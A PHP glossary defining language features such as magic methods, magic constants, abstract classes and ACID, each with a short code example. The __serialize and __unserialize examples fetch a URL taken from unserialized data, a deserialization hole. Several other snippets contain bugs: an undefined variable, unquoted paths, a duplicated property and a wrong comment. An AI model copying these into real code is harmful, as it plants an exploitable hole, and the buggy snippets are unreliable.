$http_response_header contains the list of HTTP headers, as returned after a remote URI call, with fopen() or file_get_contents(). It is the same as the result of the function get_headers().
$http_response_header is not a superglobal: it is created in the local scope where the HTTP call was made, and is not automatically available in the calling scope.
This feature is deprecated in version 8.5.
<?php
// Example extracted from the manual
function get_contents() {
file_get_contents('http://example.com');
var_dump($http_response_header); // variable is populated in the local scope
}
get_contents();
var_dump($http_response_header); // a call to get_contents() does not populate the variable outside the function scope
?>
See Also
Related
$php_errormsg
$php_errormsg contains the last error message, emitted by PHP.
In general, error_get_last() should be used instead of $php_errormsg, although this function returns an array, not a string.
This feature was removed in version 8.0.
<?php
// Warning: Undefined variable $php_errormsg
// in PHP 8.0 (sic)
echo $php_errormsg;
print_r(error_get_last());
?>
See Also
- How to catch a fatal error in PHP
- track_errors is deprecated since PHP 7.2 and removed as of PHP 8.0.0
Related
$this
$this is a variable that represents the current object instance. Its value is different for each object, and remains the same throughout every non-static method call made on that object.
$this is also called a pseudo-variable. It is never explicitly set, but is available as soon as a non-static method starts. It is also never available, nor can even be created, outside a method.
$this cannot be unset, nor assigned a different value than the current object. This means it cannot be used as the name of a function or method parameter, as a global variable global $this;, or as an explicit lexical variable in a closure use ($this).
Closures and arrow functions defined inside a non-static method automatically have access to $this, without needing to import it with use. A closure declared with the static keyword has no access to $this. A named function declared inside a method, on the other hand, is not a closure, and does not have access to $this either.
$this is not available in static methods, as they do not require an object to be invoked.
When a non-static method is invoked with the :: syntax from another method of a related class, for example parent::method() or self::method(), $this still refers to the calling object.
In a trait, $this refers to the object of the class that uses the trait, not to the trait itself.
$this may use the array syntax, if the underlying class supports the ArrayAccess interface.
There is no special variable called $that.
<?php
class Elephpant {
private $trunkLength = 1;
function trumpet() {
return $this->trunkLength;
}
}
?>
See Also
Related
- Class
- Trait
- Arrow Functions
- get_class()
- Closure
- Closure Binding
- Static Method
- Scope Resolution Operator ::
- Pseudo-variable
__autoload
__autoload() was the name of the userland function, used to load classes when they were not found yet in the current execution environment.
__autoload() was later replaced with spl_autoload_register(), which allows the composition of multiple autoloading methods.
<?php
function __autoload($name) {
if (file_exists(classes/$name.php)) {
include classes/$name.php;
}
}
?>
See Also
Related
__call() Method
__call() is a magic method: it is called when a method cannot be accessed, either because it doesn’t exist, or because its visibility prevents it.
That way, it is possible to dynamically create methods, without hardcoding them.
The __call() method receives the name of the target-method, and a list of arguments, as an array.
The __call() method has a related version for static methods, called __callStatic().
<?php
class Elephpant {
private $values = ['a' => 1,
'b' => 2,
];
// Checks the dictionary, or return 0
function __call($name, $args) {
if (method_exists($this, $name)) {
return $this->$name(...$args);
}
return 0;
}
}
?>
See Also
Related
- __callStatic() Method
- Magic Methods
- Method
- Proxy
- Meta-object Protocol (MOP)
- Metaclass
- Metaprogramming
- Open Class
__callStatic() Method
__callStatic() is a magic method: it is called when a static method cannot be accessed: either because it doesn’t exist or because its visibility prevents it.
__callStatic() is not called when the method exists and is not static.
That way, it is possible to create dynamically static methods, without hardcoding them.
The __callStatic() method receives the name of the target-method, and a list of arguments.
The __callStatic() method has a related version for non-static methods, called __call().
<?php
class Elephpant {
// Checks the dictionary, or return 0
static function __callStatic($name, $args) {
if (method_exists(self::class, $name)) {
return Elephpant::$name(...$args);
}
return 0;
}
private static function trumpet() {
print __METHOD__;
}
}
Elephpant::trumpet(); // Elephpant::trumpet
Elephpant::forage(); // nothing
?>
See Also
Related
__CLASS__
__CLASS__ holds the current class name: this is the class of definition, not the called class. It is not the same as self::class, which may change depending on the calling context.
The class name includes the namespace it was declared in, such as N\X. It does not include the leading \.
When used inside a trait method or property default, __CLASS__ is the name of the class the trait is used in. When used outside a function, this constant holds an empty string, and does not emit any warning.
This constant is written in uppercase, by convention. It is case-insensitive, and may be used with any combination of uppercase and lowercase.
<?php
namespace N;
class Elephpant {
function trumpet() {
echo __CLASS__; // N\Elephpant
}
}
?>
See Also
- PHP’s Magic Constants: LINE, FILE, FUNCTION, CLASS, and METHOD
- Magical Constants in PHP: Explained with Examples
Related
__clone() Method
To clone an object is to create a new distinct object, from an existing one. This is basically a copy, although the object itself is multiplied by calling the clone operator.
By default PHP does a shallow clone, duplicating the scalars, like string, integer…, and keeping the same reference to objects. To make a deep clone, the class must define the __clone magic method.
Cloning is similar to creating another object of the same class, without requiring all the constructor arguments.
<?php
$spike = new Dog('Spike', 'Teckel', 'red');
$medor = clone $spike;
$medor->setCollar('green'); // distinguish spike and medor by collar
?>
See Also
Related
__debugInfo() Method
__debugInfo() is called by var_dump() to customize the information displayed for an object.
By default, var_dump() shows every property of an object, including private and protected ones. When __debugInfo() is defined, its return value is shown instead, allowing sensitive properties to be hidden, computed values to be added, or the output to be simplified.
__debugInfo() must return an array. The keys become the displayed property names, and are not required to match actual property names.
__debugInfo() was introduced in version 5.6. Before that version, var_dump() always displays the object’s actual properties, and the method, if present, is simply ignored.
__debugInfo() is a magic method.
<?php
class Elephpant {
private $public = 'a';
private $secret = 'password';
function __debugInfo() {
return ['public' => $this->public,
'secret' => '***redacted***'];
}
}
var_dump(new Elephpant);
?>
See Also
Related
- Magic Methods
- var_dump()
- __toString() Method
- __sleep() Method
- __wakeup() Method
- print_r()
- var_export()
__DIR__
__DIR__ holds the directory of the current file.
It is equivalent to dirname(__FILE__). The directory name does not have a trailing slash unless it is the root directory.
When used inside an include, the directory of the included file is returned.
This constant is case insensitive, and may be used with any combination of uppercase and lowercase.
<?php
// Assume file is at /var/www/html/index.php
echo __DIR__; // /var/www/html
// Useful for requiring files relative to current script
require __DIR__ . '/config.php';
?>
See Also
Related
__FILE__
__FILE__ holds the current file name.
The file name includes its absolute path, e.g. /tmp/path/to/file.txt. It also uses the file’s actual case.
When used without a file, aka in the command line, __FILE__ contains Command line code.
__FILE__ is often used with __LINE__, which holds the line number.
__FILE__ is also often used with __DIR__, which holds the directory of the file. It is akin to using dirname() on __FILE__.
This constant is written in uppercase, by convention. It is case-insensitive, and may be used with any combination of uppercase and lowercase.
<?php
function trumpet() {
echo __FILE__; // /tmp/test.php
}
trumpet();
?>
See Also
- PHP’s Magic Constants: LINE, FILE, FUNCTION, CLASS, and METHOD
- PHP Magic Constants - Examples of How Magic Constants Work in PHP
Related
__FUNCTION__
__FUNCTION__ holds the current function or method name.
The function name includes the namespace it was declared in, e.g. N\X\foo. It also uses the definition’s case.
When used inside a method, __FUNCTION__ is the name of the method it is used in. When used outside a function, this constant holds an empty string, and does not emit any warning.
__METHOD__ and __FUNCTION__ are almost identical.
This constant is written in uppercase, by convention. It is case insensitive, and may be used with any combination of uppercase and lower case.
<?php
function trumpet() {
echo __FUNCTION__; // trumpet
}
function STAMPEDE() {
echo __function__; // STAMPEDE
}
class Elephpant {
function trumpet() {
echo __FUNCTION__; // trumpet
}
}
trumpet();
(new Elephpant)->trumpet();
?>
See Also
Related
__get() Method
__get() is a magic method: it is utilized for reading data from inaccessible, either protected or private, or non-existing properties.
That way, it is possible to dynamically create properties, without hardcoding them.
The __get() method is usually paired with the __set() method.
The method signature is public function __get(string $name): mixed. The $name argument is the name of the property being interacted with.
The method must be declared as public, or it is implicit. Arguments cannot be passed by reference. Property overloading only works in object context and will not be triggered in static context.
__get() is never called when chaining assignments together like $a = $obj->b = 8;. PHP will not call an overloaded method from within the same overloaded method: writing return $this->foo inside of __get() will return null and raise an E_WARNING if there is no foo property defined, rather than calling __get() a second time.
<?php
class Elephpant {
private $values = ['a' => 1,
'b' => 2,
];
// Checks the dictionary, or return 0
function __get($name) {
if (isset($this->values[$name])) {
return $this->values[$name];
}
return 0;
}
}
?>
See Also
Related
__halt_compiler()
__halt_compiler() halts the execution of the compiler. This is useful to embed data alongside code, like the installation files.
Byte position of the data start can be determined by the __COMPILER_HALT_OFFSET__ constant which is defined only if there is a __halt_compiler() presented in the file.
<?php
// adapted from the manual
// open this file
$fp = fopen(__FILE__, 'r');
// seek file pointer to data
fseek($fp, __COMPILER_HALT_OFFSET__);
// and output it
var_dump(stream_get_contents($fp));
// the end of the script execution
__halt_compiler(); This part of the file is read by the script.
See Also
Related
__invoke() Method
The __invoke() magic method is called when the code calls an object as a function name. This type of class is also called a functor.
The method is able to take an arbitrary number of arguments, as usual.
When a class has the __invoke method, it is possible to call a method on its objects without mentioning a method’s name: the object itself is the method.
__invoke is also considered as the anonymous method: it is called without using its name.
<?php
// extracted from the PHP manual
class CallableClass
{
public function __invoke($trunk)
{
var_dump($trunk);
}
}
$obj = new CallableClass;
$obj(5);
var_dump(is_callable($obj));
?>
See Also
- PHP __invoke
- The Magical invoke Method in PHP. Your Clean Code Ally
- Why PHP’s __invoke Might Be Your Best Kept Secret!
Related
__isset() Method
__isset() is a magic method: it is called when the existence of a property has to be checked.
That way, it is possible to create dynamically properties, without hardcoding them.
The __isset() method is usually paired with the __get() and __set() methods.
The __isset() is called by isset() and empty(). They are also called by the coalesce operator ?? and ??=. It is not called on null-safe object operator ?->.
<?php
class Elephpant {
private $values = ['a' => 1,
'b' => 2,
];
function __isset($name) {
return isset($this->values[$name]);
}
}
$elephpant = new Elephpant;
var_dump(isset($elephpant->a)); // true
var_dump(empty($elephpant->c)); // false
?>
See Also
Related
- Magic Methods
- __set() Method
- __get() Method
- __unset() Method
- Isset
- Null
- Null Safe Object Operator
- Magic Property
__LINE__
__LINE__ holds the current line number in the current file.
The line numbers starts at 1. It is always available.
__LINE__ is often used with __FILE__, which holds the file name.
This constant is written in uppercase, by convention. It is case insensitive, and may be used with any combination of uppercase and lower case.
<?php
function trumpet() {
echo __FILE__.':'.__LINE__; // /tmp/test.php:4
}
trumpet();
?>
See Also
Related
__METHOD__
__METHOD__ holds the current method or function name.
The method name includes the namespace and the class it was declared in, e.g. N\X::foo. It also uses the definition’s case.
When used inside a method, __METHOD__ is the name of the method it is used in. When used outside a function, this constant holds an empty string, and does not emit any warning.
__METHOD__ and __FUNCTION__ are almost identical.
This constant is written in uppercase, by convention. It is case insensitive, and may be used with any combination of uppercase and lower case.
<?php
function trumpet() {
echo __METHOD__; // trumpet
}
function STAMPEDE() {
echo __method__; // STAMPEDE
}
class Elephpant {
function trumpet() {
echo __METHOD__; // trumpet
}
}
trumpet();
(new Elephpant)->trumpet();
?>
See Also
Related
__serialize() Method
The __serialize() method is called when a script tries to construct an associative array of key/value pairs that represent the serialized form of the object.
When no array is returned, a TypeError is thrown.
__serialize() is a magic method.
<?php
class WebPage {
private $html;
private $url;
public function __construct($url) {
$this->url = $url;
}
public function __serialize() {
return ['url' => $url];
}
public function __unserialize($arg) {
$this->url = $arg['url'];
$this->html = file_get_contents($this->url);
}
}
?>
See Also
Related
__set() Method
__set() is called when writing data to inaccessible, either protected or private, or non-existing properties. It is used to give a value to the property. __set() is a magic method.
That way, it is possible to create dynamically properties, without hardcoding them.
The __set() method is usually paired with the __get() method.
The method signature is public function __set(string $name, mixed $value): void. The $name argument is the name of the property being interacted with. The $value argument specifies the value the $name-ed property should be set to. The return value of __set() is ignored because of the way PHP processes the assignment operator.
The method must be declared as public, or it is implicit. Arguments cannot be passed by reference. Property overloading only works in object context and will not be triggered in static context.
<?php
class Elephpant {
private $values = ['a' => 1,
'b' => 2,
];
// Checks the dictionary, or return 0
function __set($name, $value) {
if (isset($this->values[$name])) {
$this->values[$name] = $value;
}
//do not set new values
}
}
?>
See Also
- PHP’s magic methods: Invoke, toString, get, set – Class wizardry in a nutshell
- __get(), __set(), __isset() and __unset()
Related
- __get() Method
- __isset() Method
- Magic Constants
- __unset() Method
- Magic Methods
- Magic Property
- Property Hook
__set_state() Method
__set_state() is called when an object has been exported with var_export(), and has to be instantiated again.
__set_state() is tasked with recreating the object, assigning the previous values to it, and recreating any missing properties, such as database connections or resources.
The __set_state() method has no counterpart: var_export() does not use any magic method.
__set_state() is a static method, unlike the other magic methods. __set_state() is a magic method.
<?php
class Elephpant {
private $values = ['a' => 1,
'b' => 2,
];
// Checks the dictionary, or return 0
public static function __set_state($array) {
$object = new self();
// This takes advantage of PHP object invasion
$object->values['a'] = $array['a'] ?? '0';
$object->values['b'] = $array['b'] ?? '0';
return $object;
}
}
?>
See Also
Related
__sleep() Method
__sleep() is called when an object is being serialized, so that the object may be prepared before storage. __sleep() is a magic method.
In particular, some resources, such as database connections or files, cannot be serialized. They should be closed, stored as a path, and reopened later with __wakeup().
The __sleep() method is usually paired with the __wakeup() method.
__sleep() must return an array listing, as strings, the names of the properties that should be serialized. Any property left out of that array is discarded, and reset to its default value once the object is unserialized.
If __sleep() does not return an array, PHP emits a warning and null is serialized instead of the object’s properties.
__sleep() cannot return the names of private properties declared in a parent class: doing so raises a notice. __serialize() and __unserialize() should be used instead when finer control over the serialized data, or access to inherited private properties, is needed.
<?php
class Elephpant {
private $file;
private $path;
function __sleep() {
fclose($this->file);
return ['path'];
}
function __wakeup() {
$this->file = fopen($this->path, 'r');
}
}
?>
See Also
Related
__toString() Method
__tostring() is a magic method: it is called when the object has to be converted into a string.
That way, it is possible to dynamically convert the object to a string and display it, or transmit it to another part of the application.
__toString() is called when strict_types is not active. Otherwise, passing an object to a string parameter yields an error: it requires an explicit type cast.
__toString() is always called in concatenation, and string interpolation.
There is no magic method to convert an object to another type.
__toString() must be declared public, take no arguments, and return a string: returning anything else triggers a fatal error, or a TypeError when a : string return type is declared.
Since PHP 8.0, any class that defines __toString() automatically implements the Stringable interface, without having to declare it explicitly.
Since PHP 7.4, exceptions may be thrown from within __toString(); in earlier versions, doing so resulted in a fatal error.
<?php
class Elephpant {
private $habitat = 'S';
private $weight = 1;
private $age = 2;
// Checks the dictionary, or return 0
function __toString() : string {
// $this->habitat is used as is
// $this->weight is formatted with quotes
// $this->age is converted to other values
return "$this->habitat '$this->weight' ".($this->age ? 'A' : 'B');
}
}
echo new Elephpant;
$trunk = (string) new Elephpant;
?>
See Also
Related
__TRAIT__
__TRAIT__ is a magic constant that holds the current trait name. This is the trait of definition, not the host class. It is not the same as self::class, which may change depending on the calling context.
The trait name includes the namespace it was declared in, e.g. N\X. It does not include the leading \.
When used outside a trait, __TRAIT__ is empty.
This constant is written in uppercase, by convention. It is case insensitive, and may be used with any combination of uppercase and lower case.
<?php
namespace N;
trait Trumpeting {
function trumpet() {
echo __TRAIT__; // N\Trumpeting
echo __CLASS__; // N\Elephpant
}
}
class Elephpant {
use Trumpeting;
}
?>
See Also
Related
__unserialize() Method
The __unserialize() magic method is called when a script tries to construct an object from an associative array of key/value pairs.
__unserialize() was introduced in version 7.4, as the modern replacement for the Serializable interface. It is called by unserialize() on a freshly created, uninitialized instance of the class, receiving as its only argument the array that was returned by __serialize() at the time the object was serialized. The method is responsible for reading that array and restoring every property to its former value.
Unlike the older Serializable::unserialize(), __unserialize() works with a plain PHP array instead of a raw string, so there is no need to handle a custom string format by hand. It is meant to be used together with __serialize(): if a class defines one of the two magic methods, it should define the other. When neither is present, PHP falls back to serializing the object’s properties directly, including private and protected ones, which is also what __wakeup() and __sleep() used to control before the magic methods were introduced.
Because unserialize() can be called on untrusted input, most notably user-supplied cookies, session data or request payloads, the code inside __unserialize() should validate the incoming array carefully. A crafted array which does not match the expected shape may otherwise be used to build objects in an unexpected state, which is the basis of PHP object injection and insecure deserialization attacks.
<?php
class Elephpant {
private $html;
private $url;
public function __construct($url) {
$this->url = $url;
}
public function __serialize() {
return ['url' => $url];
}
public function __unserialize($arg) {
$this->url = $arg['url'];
$this->html = file_get_contents($this->url);
}
}
?>
See Also
Related
__unset() Method
__unset() is called when the code unsets, or removes a magic property. That way, it is possible to remove dynamically properties. Hardcoded properties are reset to their default state, and do not call this magic method.
The __unset() method is usually paired with the __isset() and __set() methods.
__unset() is a magic method.
<?php
class Elephpant {
private $values = ['a' => 1,
'b' => 2,
];
function __unset($name) {
unset($this->values[$name]);
}
function __isset($name) {
return isset($this->values[$name]);
}
function __set($name, $value) {
$this->values[$name] = $value;
}
}
?>
See Also
Related
__wakeup() Method
__wakeup() is a magic method: it is called when an object is being deserialized, so that the object may be restored to its working condition.
In particular, some resources, such as database connections or files cannot be serialized. They should be closed, stored as a path in __sleep(), and reopened later with __wakeup().
The __wakeup() method is usually paired with the __sleep() method.
<?php
class Elephpant {
private $file;
private $path;
function __sleep() {
fclose($this->file);
return ['path'];
}
function __wakeup() {
$this->file = fopen($this->path, 'r');
}
}
?>
See Also
Related
abs()
abs() calculates the absolute value of a number. It is the value itself, when the number is positive or zero, and it is the opposite of the number when the number is negative.
Almost all integers have an absolute value: the only exception is PHP_INT_MIN. Its value is -9223372036854775808, and the actual absolute value would be 9223372036854775808, which is bigger than PHP_INT_MAX.
abs() takes float and int as types. Except for the exception above, giving a float to abs() produces a float, and giving it an integer, produces an integer. Other types are forbidden. Objects have to be turned explicitly into a number.
<?php
$a = -2;
print abs($a); // 2
print abs(abs($a)); // 2
?>
See Also
Related
Absolute Name
An absolute name is a name that is independent from the current namespace. It is usually identified by the leading \ sign.
An absolute name does not require a use expression, and is faster to process, as there is no resolution involved. It may also be less readable, as it makes names longer.
The opposite of relative name is relative name.
Absolute names are similar to absolute path, in a file system, though applied to functions, constants and classes names.
<?php
namespace Savanna {
function trumpet() {}
class Elephpant {}
}
namespace Waterhole {
//absolute name to call a function
\Savanna\trumpet();
//absolute name to create an object
new \Savanna\Elephpant();
//absolute name from the global space: no need to import it
strtolower(...) instanceof \Closure;
}
?>
See Also
Related
Absolute Value
An absolute value is the positive value of a real number.
PHP offers the native function abs() to calculate this value.
The absolute value of PHP_INT_MIN is a float.
<?php
$a = 10;
echo abs($a); // 10
$b = -12;
echo abs($b); // 12
?>
See Also
Related
Absolute
An absolute value is independent from the context in which it operates.
The notion of absolute has several usages:
- There are absolute names, also known as fully qualified name:
\get_class(),new myClass() - There are absolute path, which are path that starts at the root of the file system:
/tmp/path/to/file.txt - There are absolute values, supported by
abs()math function - The
absoluteparameter, when processing aDateTimeInterfacedifference
The notion of absolute is the opposite of the notion of relative, which depends on a local context.
<?php
// global namespace
namespace {
// first definition
function trumpet() {
echo 'in the global scope.';
}
}
namespace Savanna{
// second definition
function trumpet() {
echo 'in the savanna scope.';
}
trumpet(); // relative call: it goes to the second definition
\trumpet(); // absolute call: it goes to the first definition
\Savanna\trumpet(); // absolute call: it goes to the second definition
}
?>
See Also
Related
Abstract Class
An abstract class is a class that cannot be instantiated directly. It has the abstract option.
An abstract class serves as a blueprint for other classes that extends it, and is intended to be subclassed. It is still possible to access its constants, static properties and static methods.
An abstract class can contain both regular methods and abstract methods. Regular methods provide common functionality that can be inherited by subclasses, while abstract methods are declared without an implementation. Subclasses of an abstract class must provide an implementation for all the abstract methods defined in the abstract class.
<?php
abstract class AbstractClass {
abstract function trumpet(); // abstract method
function forage() {
return 1;
} // concrete method
}
class ConcreteClass extends AbstractClass{
function trumpet() {
return 2;
} // concrete method
// No need to redefine the concrete methods.
// Yet, it is still possible
}
?>
See Also
Related
- Final Keyword
- Concrete Class
- Abstract Method
- Concrete Method
- Base Class
- Base
- Method Resolution Order (MRO)
Abstract Factory
An Abstract Factory is a design pattern that provides an interface for creating families of related or dependent objects without specifying their concrete classes.
It is one level of abstraction above the simple factory pattern. While a simple factory creates one type of object, an abstract factory is used to create a set of related factories, each responsible for creating a family of products.
See Also
Related
Abstract Method
An abstract method is a method that has no code. It also uses the abstract option in the syntax.
An abstract method serves as a blueprint for other methods: its host class is intended to be subclassed.
Interfaces only have abstract methods.
Abstract constructors cannot use promoted properties.
<?php
abstract class AbstractClass {
abstract function trumpet(); // abstract method
function forage() {
return 1;
} // concrete method
}
class ConcreteClass extends AbstractClass{
function trumpet() {
return 2;
} // concrete method
// No need to redefine the concrete methods.
// Yet, it is still possible
}
?>
See Also
Related
Abstract Keyword
PHP has abstract classes, properties and methods. Classes defined as abstract cannot be instantiated, and any class that contains at least one abstract method, or property hook, must also be abstract.
PHP does not support abstract constants, so a class constant must be defined with a value, although it may be overwritten in a child class.
Traits may have abstract methods, and they don’t have to be labelled abstract. On the other hand, any class that holds such a trait must either overwrite the abstract methods, or be itself declared abstract.
Interfaces act as implicit and systematic abstract classes: each of the methods in an interface is implicitly considered abstract.
An abstract method may be made concrete. It cannot be turned back into an abstract method later.
An abstract method cannot be private: being abstract means that the method must be defined in a child, while private means the method is not shared with child classes. Protected and public are both fine.
An abstract method cannot be final: being abstract means that the method must be defined in a child, while final means the method cannot be overwritten.
Static methods may be declared abstract.
abstract applies to the property, and is used by either or both of the get and set hooks. At least one of them has to be without a body, as should be any abstract method.
<?php
abstract class AbstractClass
{
// the abstract keyword is on the property
public abstract string $p {
set;
get => 'abc';
}
// Force Extending class to define this method
abstract protected function getValue();
abstract protected function prefixValue($prefix);
// abstract property
abstract public $p { get; }
// Common method
public function printOut() {
print $this->getValue() . "\n";
}
}
?>
See Also
- Interfaces vs Abstract Classes in PHP
- Testing Abstract Classes in PHP using Anonymous Classes
- Why (nearly) every PHP class you write should be abstract or final
Related
Abstraction Layer
An abstraction layer is a piece of software that offer the same API to access multiple similar components.
The underlying components may be of various shapes: PDO offers an abstraction layer to databases, streams offer an abstraction layer to files, etc.
PDO is a database abstraction layer, to access various RDBMS servers with one PHP API. league/flysystem offers also an abstraction layer to filesystem, lcobucci/clock offers an abstraction to clocks.
See Also
Related
Related packages
Abstraction
An abstraction, or also an abstraction layer, is a way to hide the underlying complexity of some logic behind a simpler interface so that other parts of the program don’t need to worry about the details.
In that sense, it is related to the abstract keyword, which introduces a signature and leaves freedom of implementation.
Abstraction is also the name of the refactor to replace a piece of code by an easily changed piece of code.
<?php
echo 1; // displays 1
// This depends on the execution environment
const A = PHP_OS == 'win' ? 'Windows' : 'Others';
echo A; // display the value of A
?>
See Also
Related
Acceptance Test
Acceptance tests, also called user acceptance tests or UAT, are tests that verify that the software meets the business requirements and satisfies the expectations of the end user, before it is accepted and released.
Acceptance tests are usually the final phase of testing, run after unit, integration, and functional tests have already passed. They are often written from user stories or business specifications, using tools such as Behat or Codeception, sometimes in a natural-language format like Gherkin, so that non-developers, such as product owners or clients, can read and validate them.
Acceptance tests focus on whether the software does what the business needs, not on how it is implemented internally; in that sense, they are a form of black box testing.
See Also
- A guide to acceptance testing
- Difference Between Unit, Functional, Acceptance, and Integration Tests
Related
Related packages
Accessibility
Accessibility is the process to make the code accessible to everyone.
PHP code being text, its accessibility relies on the IDE. The main accessible feature is the usage of tabulations, instead of multiple spaces.
Accessibility is also called a11y, aka a, 11 letters and y. This is shorter to write.
See Also
- Why we should default to Tabs instead of Spaces for an ‘accessible first’ environment
- Tabs vs. Spaces: It’s an Accessibility Issue
Related
Accountability
Accountability isn’t a built-in language feature: it’s a development practice. It means writing code in a way that makes it clear who did what, what happened, and why, so actions can be traced and owned.
Accountability may take several shapes:
- Logging actions
- Audit trails
- Reporting errors
- Adding tests
- Using VCS
- Code reviews.
See Also
Related
ACID
ACID is an acronym for the four ACID properties that guarantee reliable database transactions. It stands for Atomicity, Consistency, Isolation, and Durability.
- Atomicity: a transaction either completes entirely or not at all. If any step fails, all changes are rolled back, leaving the database as if the transaction never started.
- Consistency: a transaction brings the database from one valid state to another, respecting all defined constraints, rules, and cascades. It cannot leave data in a logically invalid state.
- Isolation: concurrent transactions execute as if they were serial. The intermediate state of a transaction is not visible to other transactions. The degree of isolation is configurable.
- Durability: once a transaction is committed, it persists even in the event of a system crash. Achieved through write-ahead logging and durable storage.
ACID transactions are available through PDO via beginTransaction(), commit(), and rollBack(). Most relational databases, MySQL/InnoDB, PostgreSQL, SQLite, etc. provide full ACID compliance.
<?php
$pdo = new PDO('mysql:host=localhost;dbname=shop', 'user', 'pass');
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pdo->beginTransaction(); // start atomic unit
try {
$pdo->exec('UPDATE accounts SET balance = balance - 100 WHERE id = 1');
$pdo->exec('UPDATE accounts SET balance = balance + 100 WHERE id = 2');
$pdo->commit(); // durable on success
} catch (PDOException $e) {
$pdo->rollBack(); // atomicity: undo both updates on failure
throw $e;
}
?>
See Also
Related
- Database Commit
- PHP Data Objects (PDO)
- Eventual Consistency
- Distributed Transactions
- Write-Ahead Logging (WAL)
- Transaction
Access Control List (ACL)
An Access Control List, or ACL, is a set of rules that defines which users or system processes are granted access to specific resources, and what operations they are allowed to perform.
In web applications, an ACL is typically implemented as a matrix of subjects, like users, roles…, and objects, like routes, resources, actions…, where each cell defines the permissions granted. ACL provides fine-grained authorization control, complementing authentication.
ACL can be implemented as:
- Entry-based: each resource holds a list of principals and their permissions
- Role-based,
RBAC: permissions are assigned to roles, and roles are assigned to users - Attribute-based,
ABAC: access decisions are based on attributes of the user, resource, and environment.
Several frameworks provide ACL components out of the box, or via packages.
<?php
// Simple ACL check
$acl = [
'admin' => ['read', 'write', 'delete'],
'editor' => ['read', 'write'],
'viewer' => ['read'],
];
function can(string $role, string $action, array $acl): bool {
return in_array($action, $acl[$role] ?? [], true);
}
var_dump(can('editor', 'delete', $acl)); // false
var_dump(can('admin', 'delete', $acl)); // true
?>
See Also
Related
Related packages
Active Record
Active Record is a design pattern commonly used in development. It provides an object-oriented approach to interact with a database table or view. In the Active Record pattern, each table or view in the database is represented by a corresponding class in the PHP code.
The main purpose of Active Record is to encapsulate the database access logic within the objects themselves. This means that an Active Record object not only represents a single row of data, but it also includes methods to perform CRUD, or Create, Read, Update, Delete, operations on that data.
With Active Record, developers can easily create, retrieve, update, and delete records from the database by invoking methods on the corresponding objects. The Active Record object abstracts away the SQL queries and provides a more intuitive and object-oriented way to work with the data.
Additionally, Active Record allows developers to add domain logic to the objects. This means that business rules and validations can be implemented directly within the Active Record classes. For example, it is possible to define methods to validate input, perform calculations, or enforce certain constraints on the data.
Active Record is often used in conjunction with other design patterns, such as the Data Mapper pattern. While Active Record focuses on the direct interaction between objects and the database, the Data Mapper pattern separates the database access logic into a separate layer, providing more flexibility and decoupling between the domain objects and the persistence layer.
See Also
Related
Related packages
Actor Model
The Actor Model, introduced by Carl Hewitt in 1973, is a mathematical model of concurrent computation. Its fundamental unit is the actor: a lightweight, isolated entity with its own private state and a mailbox. Actors never share memory. All communication happens exclusively through asynchronous message passing.
When an actor receives a message it may:
- Create new actors
- Send messages to actors whose addresses it knows
- Designate the behavior to use for the next message it receives
Because no memory is shared, race conditions and the need for explicit locks are eliminated by design.
PHP is single-threaded in its classic request/response model, so the Actor Model is not natively available in the language. However, several frameworks and extensions bring actor-like concurrency to PHP:
ReactPHPandAMPHPimplement event loops with asynchronous message passing via promises and fibers.Swoole/OpenSwooleprovide coroutines and channels that enable actor-style communication.- The
parallelextension gives true multi-threaded execution with channels for inter-thread messaging. - Libraries such as
Phluxorimplement explicit actor runtimes on top of these primitives.
<?php
// Conceptual actor-style pattern using ReactPHP EventLoop
// Each coroutine owns private state and communicates via channels (parallel ext)
use parallel\{Runtime, Channel};
$channel = new Channel();
$actor = new Runtime();
$actor->run(static function (Channel $inbox): void {
while ($message = $inbox->recv()) {
echo "Actor received: {$message}\n";
}
}, [$channel]);
$channel->send('hello');
$channel->send('world');
$channel->close();
?>
See Also
Related
- Concurrency
- Message Queue
- Fibers
- Coroutine
- Asynchronous
- Parallel
- Race Condition
- Shared Memory
- Immutable
- Software Transactional Memory (STM)
Adapters
Adapters are the link between the application and the rest of the universe. They take incoming data and shape them into an internal format, and vice-versa.
Adapters are heavily used in hexagonal architecture. They are also a classic design pattern.
Adapters are related to decoupling code. They bridge two pieces of code that evolve independently.
See Also
Related
Addition
PHP additions apply to two different types: numbers and arrays.
For numbers, int and float, this is the classic mathematical addition.
For arrays, this is a special version of array merge: the arrays are merged, and keys are kept once they are written. This features only exists for addition and arrays. Substraction is not available.
With boolean, addition first cast the boolean to an integer, 0 or 1, and then, operates as a math addition.
With string, addition first try to convert the string to a numeric value. If it succeed, it operates as a math addition. Otherwise, it emits a type error.
With objects or resources, a type error is emitted.
<?php
$a = 1 + 2.3; // 3.3
$a2 = 1 + -2.3; // -1.3
$b = [1] + [3, 4]; // [1, 4]
?>
See Also
Related
Architectural Decision Record (ADR)
An Architectural Decision Record, or ADR, is a concise document that captures an important architectural decision made during the development of a software project. The goal of an ADR is to provide context, rationale, and consequences of a decision, so that future team members, or even the same team, can understand why a particular choice was made, even years later.
Key Elements of an ADR
- Title: a short, descriptive name for the decision.
- Status: whether the decision is proposed, accepted, deprecated, or superseded.
- Context: the background or problem that led to the decision.
- Decision: the actual choice made.
- Consequences: the expected outcomes, trade-offs, or impacts of the decision.
See Also
Related
Agile
Agile refers to a set of software development methodologies that emphasize iterative delivery, collaboration, and adaptability. It is not a PHP-specific language or technical notion, though it is used in the PHP ecosystem.
Agile is an umbrella term. The fine-grained methodologies include:
- Scrum: framework with roles, such as scrum master, product owner, sprints, and ceremonies
Kanban: workflow visualization method using boards andWIPlimits- Sprint: time-boxed iteration, usually 1–4 weeks
- User Story: short description of a feature from an end-user perspective
- Backlog: prioritized list of work
- Burndown Chart: visual showing remaining work over time
- Definition of Done, aka
DoD: criteria that must be met for a task to be considered complete - Retrospective: meeting to reflect on the past iteration and improve
- Daily Stand-up: short daily coordination meeting
- Minimum Viable Product, MVP: smallest version that delivers value
- Pair Programming: two developers working together on the same code
- Continuous Integration, CI / Continuous Delivery, CD.
See Also
- Utilize PHP for Agile Software Development
- What Are The 4 Pillars Of Agile Methodology And How It Can Enhance Development Efficiency?
- Why choose PHP Frameworks for Agile Application Development?
Related
- Waterfall
- Minimum Viable Product (MVP)
- Software Development Life Cycle (SDLC)
- Spiral
- You Are Not Going To Need It (YAGNI)
Artificial Intelligence (AI)
A neural network is a software made of many simple processing units, called neurons, connected and organized in layers. By showing it many examples, it automatically learns patterns to look for.
See Also
- LLPhant - The PHP library for Gen AI and Vector Databases
- How to disable WordPress 7.0’s new AI features
- Learn PHP with Claude in 2026: master the language without becoming AI-dependent
